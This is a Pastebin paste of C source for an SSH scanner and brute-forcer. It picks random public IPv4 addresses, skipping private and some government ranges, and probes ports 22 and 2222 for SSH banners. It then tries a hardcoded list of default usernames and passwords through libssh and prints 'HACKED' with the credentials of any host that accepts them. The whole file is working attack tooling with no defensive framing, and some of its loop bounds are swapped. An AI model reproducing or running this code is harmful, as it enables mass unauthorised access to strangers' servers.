FKdkgks

brute_c

Feb 2nd, 2023
300
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 12.59 KB | Music | 0 0
  1. #include <unistd.h>
  2. #include <stdio.h>
  3. #include <stdint.h>
  4. #include <time.h>
  5. #include <arpa/inet.h>
  6. #include <fcntl.h>
  7. #include <string.h>
  8. #include <errno.h>
  9. #include <sys/resource.h>
  10. #include <stdlib.h>
  11. #include <pthread.h>
  12. #define INET_ADDR(o1, o2, o3, o4) (htonl((o1 << 24) | (o2 << 16) | (o3 << 8) | (o4 << 0)))
  13.  
  14. #define SIZE_PORTS 2        
  15. #define BUFFER_SIZE 4096    
  16. #define TIMEOUT_SCAN 20
  17.  
  18. struct cock
  19. {
  20.  
  21.     int fd, iport, status;  
  22.     struct sockaddr_in addr;
  23.     time_t timec;
  24. };
  25. enum myconnections
  26. {
  27.     mCreated = 0,
  28.     mConnecting = 1,
  29.     mGrabingBanner = 2
  30. };
  31. int SIZE_QUEUE = 16384;  
  32. int SSH_SIZE_QUEUE = 16384;              
  33. uint16_t PORTS[SIZE_PORTS] = {22, 2222};
  34. struct cock* scs;                        
  35. char *buffer;
  36. void addToQUEUE(struct sockaddr_in*addr);
  37.  
  38. void ext(const char *err)
  39. {
  40.     printf("FATAL: %s\n", err);
  41.     exit(0);
  42. }
  43. uint32_t rip_me()    
  44. {
  45.     uint32_t tmp;
  46.     uint8_t o1, o2, o3, o4;
  47.     do
  48.     {
  49.         tmp = rand();
  50.         o1 = tmp & 0xff;
  51.         o2 = (tmp >> 8) & 0xff;          
  52.         o3 = (tmp >> 16) & 0xff;
  53.         o4 = (tmp >> 24) & 0xff;
  54.     } while (o1 == 127 ||                               // 127.0.0.0/8      - Loopback
  55.              (o1 == 0) ||                               // 0.0.0.0/8        - Invalid address space
  56.              (o1 == 3) ||                               // 3.0.0.0/8        - General Electric Company
  57.              (o1 == 15 || o1 == 16) ||                  // 15.0.0.0/7       - Hewlett-Packard Company
  58.              (o1 == 56) ||                              // 56.0.0.0/8       - US Postal Service
  59.              (o1 == 10) ||                              // 10.0.0.0/8       - Internal network
  60.              (o1 == 192 && o2 == 168) ||                // 192.168.0.0/16   - Internal network
  61.              (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
  62.              (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
  63.              (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
  64.              (o1 == 198 && o2 >= 18 && o2 < 20) ||    // 198.18.0.0/15    - IANA Special use
  65.              (o1 >= 224) ||                           // 224.*.*.*+       - Multicast
  66.              (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22
  67.              || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 49
  68.              || o1 == 50 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
  69.     );
  70.     return INET_ADDR(o1, o2, o3, o4);
  71. }
  72.  
  73.  
  74. void cock_init(uint32_t ip, struct cock *dt)
  75. {
  76.     if ((dt->fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  77.       ext("socket_oaoa");
  78.     fcntl(dt->fd, F_SETFL, O_NONBLOCK | fcntl(dt->fd, F_GETFL, 0));
  79.     dt->iport = 0;                                          
  80.     dt->addr.sin_addr.s_addr = ip;
  81.     dt->addr.sin_port = PORTS[0];
  82.     dt->addr.sin_family = AF_INET;
  83.     bzero(dt->addr.sin_zero, 8);
  84.     dt->status = mCreated;
  85. }
  86. void recycle(struct cock *dt)
  87. {
  88.     if (++dt->iport >= SIZE_PORTS)
  89.       return cock_init(rip_me(), dt);
  90.     dt->addr.sin_port = PORTS[dt->iport];
  91.     if ((dt->fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  92.       ext("socket");
  93.     fcntl(dt->fd, F_SETFL, O_NONBLOCK | fcntl(dt->fd, F_GETFL, 0));
  94.     dt->status = mCreated;
  95. }
  96. void expandLimitFD()
  97. {
  98.     struct rlimit rl;
  99.     getrlimit(RLIMIT_NOFILE, &rl);
  100.  
  101.     rlim_t myLimit =SIZE_QUEUE + SSH_SIZE_QUEUE+ 128; // + SIZE_QUEUE_SSH  
  102.     if (rl.rlim_cur >= myLimit)
  103.         return;
  104.     rl.rlim_cur = myLimit;
  105.     if (rl.rlim_max <= myLimit)
  106.     {
  107.         rl.rlim_max = rl.rlim_cur + 5;
  108.         if (setrlimit(RLIMIT_NOFILE, &rl) < 0)
  109.             ext("COULDn't expand FD.\n Make my code BETTER!!!\n");
  110.     }
  111.     else
  112.         setrlimit(RLIMIT_NOFILE, &rl);
  113. }
  114. void scan_init()
  115. {
  116.     expandLimitFD();
  117.     for (int i = 0; i < SIZE_PORTS; i++)
  118.         PORTS[i] = htons(PORTS[i]);      
  119.     scs = (struct cock *)malloc(sizeof(struct cock) * SIZE_QUEUE);  
  120.     for (int ind = 0; ind < SIZE_QUEUE; ind++)
  121.         cock_init(rip_me(), scs + ind);          
  122. }
  123. void *scan_loop(void *Pargs)
  124. {
  125.     int cnr, err = 0;
  126.     struct cock *dt;
  127.     buffer = (char *)malloc(BUFFER_SIZE + 1);
  128.     const char *hi = "pm\0";
  129.     for (int x = 0;; x++){
  130.         if (x >= SIZE_QUEUE){
  131.             x = 0;
  132.         }
  133.  
  134.  
  135.         usleep(10);
  136.         dt = &(scs[x]);
  137.  
  138.         if (dt->status != mGrabingBanner)
  139.             cnr = connect(dt->fd, (struct sockaddr *)&(dt->addr), sizeof(struct sockaddr_in));
  140.         if(dt->status == mCreated){
  141.             dt->status = mConnecting;
  142.             dt->timec = time(NULL);
  143.         }else if(dt->status == mConnecting){
  144.             err = errno;
  145.             if ((cnr == -1 && err == EISCONN) || cnr == 0)//CONNECTED!!
  146.             {
  147.                 write(dt->fd, hi, 3);
  148.                 dt->timec = time(NULL);
  149.                 dt->status = mGrabingBanner;
  150.             }
  151.             else if(time(NULL) - dt->timec >= TIMEOUT_SCAN)
  152.                 goto new_ip;
  153.             else if(cnr == -1 && err == 0)
  154.                 continue;
  155.             else if (err == ECONNREFUSED || (cnr == -1 && err != EINPROGRESS && err != EALREADY) ) // Ошибка подключения
  156.                 goto new_ip;
  157.         }else if(dt->status == mGrabingBanner){
  158.             err = read(dt->fd, buffer, BUFFER_SIZE);
  159.             if (err > 0)
  160.             {
  161.                 buffer[err] = '\0';
  162.                 if (strstr(buffer, "SSH") != NULL) // нашли ssh
  163.                     addToQUEUE(&(dt->addr));
  164.                 goto new_ip;
  165.             }
  166.             else if (time(NULL) - dt->timec >= TIMEOUT_SCAN)
  167.                 goto new_ip;
  168.         }
  169.         continue;
  170.     new_ip:
  171.         close(dt->fd);
  172.         recycle(dt);
  173.     }
  174.     return NULL;
  175. }
  176.  
  177. #include <libssh/libssh.h>
  178.  
  179.  
  180. struct commonssh
  181. {
  182.   struct sockaddr_in addr;
  183.   char *ip;
  184.   uint16_t port;
  185.  
  186.   int state, is_password_auth, tries;
  187.   time_t ltime;
  188.   ssh_session session;
  189.   uint16_t userInd, passInd;
  190.   struct commonssh *next;
  191. };
  192. struct QUEUE_comonssh
  193. {
  194.   pthread_mutex_t m;
  195.   struct commonssh *first, *last;
  196.   int state, maxSize, size;
  197. };
  198. enum
  199. {
  200.   SSH_CREATED = 0,
  201.   SSH_CONNECTING = 1,
  202.   SSH_BRUTING = 2,
  203.   SSH_DEAD = 3,
  204. };
  205. #define SSH_CNCT_TIMEOUT 30
  206. #define SSH_AUTH_TIMEOUT 30
  207. #define WAIT 4
  208. struct QUEUE_comonssh QUEUE_SSH;
  209. const char *bruteUsernames[] = {"root", "admin", "test", "guest", "info", "adm", "mysql", "user", "administrator", "oracle", "ftp", "pi", "puppet", "ansible", "ec2-user", "vagrant", "azureuser"};
  210. int sizeUsernames = 17;
  211. const char *brutePasswords[] = {"root", "toor", "raspberry", "dietpi", "test", "uploader", "password", "admin", "administrator", "marketing", "12345678", "1234", "12345", "qwerty", "webadmin", "webmaster", "maintenance", "techsupport", "letmein", "logon", "Passw@rd", "alpine"};
  212. int sizePasswords = 22;
  213.  
  214. void *loop_brute(void *pdata);
  215. void init_brute();
  216. #define IS_DEBUG 1
  217. int main()
  218. {
  219.   scan_init();
  220.   init_brute();
  221.   pthread_t scan_thd, brute_thd;
  222.   pthread_create(&scan_thd, NULL, scan_loop, NULL);
  223.   pthread_create(&brute_thd, NULL, loop_brute, NULL);
  224.  
  225.     pthread_detach(scan_thd);
  226.     pthread_detach(brute_thd);
  227. #ifdef IS_DEBUG
  228.   char pause;
  229.   while(1){
  230.     scanf("%c", &pause);
  231.     system("clear");
  232.  
  233.    
  234.     pthread_mutex_lock(&QUEUE_SSH.m);
  235.     struct commonssh *cur = QUEUE_SSH.first;
  236.     while(cur != NULL){
  237.       printf("%s: ui: %d, pi: %d, state: %d\n", cur->ip, cur->userInd, cur->passInd, cur->state);
  238.       cur = cur->next;
  239.     }
  240.     pthread_mutex_unlock(&QUEUE_SSH.m);
  241.   }
  242. #else
  243.   while(1)
  244.     sleep(1000);
  245. #endif
  246. }
  247. int ssh_connect_nonblock(struct commonssh *cssh)
  248. {
  249.   if ((cssh->state == SSH_CREATED))
  250.   {
  251.     ssh_options_set(cssh->session, SSH_OPTIONS_HOST, cssh->ip);
  252.     ssh_options_set(cssh->session, SSH_OPTIONS_PORT, &cssh->port);
  253.     ssh_set_blocking(cssh->session, 0);
  254.     cssh->state = SSH_CONNECTING;
  255.   }
  256.   if (cssh->ltime == 0)
  257.     cssh->ltime = time(NULL);
  258.   return ssh_connect(cssh->session);
  259. }
  260. void fuck_out(struct commonssh *prev, struct commonssh **current, int tries){
  261.   struct commonssh *cur = (*current);
  262.   if(tries != -1 || tries < 10 || cur == NULL || prev == NULL){
  263.     if(cur->session != NULL){
  264.       ssh_disconnect(cur->session);
  265.       ssh_free(cur->session);
  266.       cur->session = NULL;
  267.     }
  268.     cur->state = SSH_CREATED;
  269.     return;
  270.   }
  271.   pthread_mutex_lock(&(QUEUE_SSH.m));
  272.   prev->next = cur->next;
  273.   if (QUEUE_SSH.first == cur && QUEUE_SSH.last == cur)
  274.   {
  275.     QUEUE_SSH.first = NULL;
  276.     QUEUE_SSH.last = NULL;
  277.     (*current) = NULL;
  278.   }
  279.   else if (QUEUE_SSH.last == cur)
  280.   {
  281.     QUEUE_SSH.last = prev;
  282.     (*current) = prev;
  283.     prev->next = NULL;
  284.   }
  285.   else if (QUEUE_SSH.first == cur)
  286.   {
  287.     QUEUE_SSH.first = cur->next;
  288.     (*current) = NULL;
  289.   }
  290.   else
  291.   {
  292.     (*current) = prev;
  293.   }
  294.   QUEUE_SSH.size--;
  295.   pthread_mutex_unlock(&(QUEUE_SSH.m));
  296.   if (cur->session != NULL)
  297.   {
  298.     ssh_disconnect(cur->session);
  299.     ssh_free(cur->session);
  300.   }
  301.   cur->session = NULL;
  302.   free(cur);
  303. }
  304. struct commonssh *getFirst()
  305. {
  306.   struct commonssh *ret;
  307.   pthread_mutex_lock(&(QUEUE_SSH.m));
  308.   ret = QUEUE_SSH.first;
  309.   pthread_mutex_unlock(&(QUEUE_SSH.m));
  310.   return ret;
  311. }
  312. void init_brute(){
  313.   QUEUE_SSH.first = NULL;
  314.   QUEUE_SSH.last = NULL;
  315.   QUEUE_SSH.maxSize = SSH_SIZE_QUEUE;
  316.   QUEUE_SSH.size = 0;
  317. }
  318. void addToQUEUE(struct sockaddr_in*addr){
  319.   pthread_mutex_lock(&(QUEUE_SSH.m));
  320.   if (QUEUE_SSH.size >= QUEUE_SSH.maxSize){
  321.     pthread_mutex_unlock(&(QUEUE_SSH.m));
  322.     return;
  323.   }
  324.   struct commonssh *ptr = (struct commonssh *)calloc(1, sizeof(struct commonssh));
  325.   ptr->ip = strdup(inet_ntoa(addr->sin_addr));
  326.   ptr->addr = (*addr);
  327.   ptr->state = SSH_CREATED;
  328.   ptr->port = ntohs(addr->sin_port);
  329.   if (QUEUE_SSH.first == NULL)
  330.     QUEUE_SSH.first = ptr;
  331.   else
  332.     QUEUE_SSH.last->next = ptr;
  333.   QUEUE_SSH.last = ptr;
  334.   QUEUE_SSH.size++;
  335.   pthread_mutex_unlock(&(QUEUE_SSH.m));
  336. }
  337. void *loop_brute(void *pdata)
  338. {
  339.   int rc = 1, sizB = 1;
  340.   struct commonssh *prev = NULL, *cur = NULL;
  341.   for (;;)
  342.   {
  343.     cur = getFirst();
  344.     if (cur == NULL)
  345.     {
  346.       sleep(1); // IF THERE IS NO ANY IPS YET
  347.       continue;
  348.     }
  349.     prev = cur;
  350.     while (cur != NULL)
  351.     {
  352.       switch (cur->state)
  353.       {
  354.       case SSH_CREATED:
  355.       case SSH_CONNECTING:
  356.         if(cur->session == NULL)
  357.           cur->session = ssh_new();
  358.         rc = ssh_connect_nonblock(cur);
  359.         if (rc != SSH_OK){
  360.           if (( rc == SSH_AGAIN && (time(NULL) - cur->ltime >= SSH_CNCT_TIMEOUT)) || rc != SSH_AGAIN){
  361.             fuck_out(prev, &cur, ++cur->tries);
  362.             break;
  363.           }
  364.           break;
  365.         }
  366.         cur->ltime = 0;
  367.         cur->state = SSH_BRUTING;
  368.         break;
  369.       case SSH_BRUTING:
  370.         if(cur->ltime == 0)
  371.           cur->ltime = time(NULL);
  372.         rc =  ssh_userauth_password(cur->session, bruteUsernames[cur->userInd], brutePasswords[cur->passInd]);
  373.         if(rc  == SSH_AUTH_SUCCESS){
  374.           //HACKED
  375.           printf("HACKED: %s:%d:%s:%s\n", inet_ntoa(cur->addr.sin_addr), cur->port, bruteUsernames[cur->userInd], brutePasswords[cur->passInd]);
  376.           fuck_out(prev, &cur, -1);
  377.           break;
  378.         }else if(rc == SSH_AUTH_AGAIN){
  379.           if( (time(NULL) - cur->ltime) >= SSH_AUTH_TIMEOUT)
  380.             fuck_out(prev, &cur, ++cur->tries);
  381.           break;
  382.         }else if(cur->is_password_auth == 0){
  383.           const char*err = ssh_get_error(cur->session), *err2;
  384.           err2 = strstr(err,"for 'password'");
  385.           if(err2!=NULL){
  386.             if(strstr(err2, "password")!=NULL)
  387.               cur->is_password_auth = 1;
  388.             else{
  389.               fuck_out(prev, &cur, -1);  
  390.               break;            
  391.             }
  392.           }
  393.         }else if(rc == SSH_AUTH_ERROR){
  394.           fuck_out(prev, &cur, ++cur->tries);
  395.           break;
  396.         }else if(rc == SSH_AUTH_DENIED){
  397.           cur->passInd++;
  398.           if(cur->passInd >= sizeUsernames){
  399.             cur->userInd++;
  400.             cur->passInd = 0;
  401.             if(cur->userInd>=sizePasswords){
  402.               fuck_out(prev, &cur, -1);
  403.               break;
  404.             }
  405.           }
  406.           cur->tries = 0;
  407.           ssh_disconnect(cur->session);
  408.           ssh_free(cur->session);
  409.           cur->session = NULL;
  410.           cur->state = SSH_CREATED;
  411.           break;
  412.         }
  413.       case SSH_DEAD:
  414.         fuck_out(prev, &cur, -1);
  415.         break;
  416.       }
  417.       if(cur != NULL){
  418.         prev = cur;
  419.         cur = cur->next;
  420.       }
  421.     }
  422.   }
  423. }
  424.  
Add Comment
Please, Sign In to add comment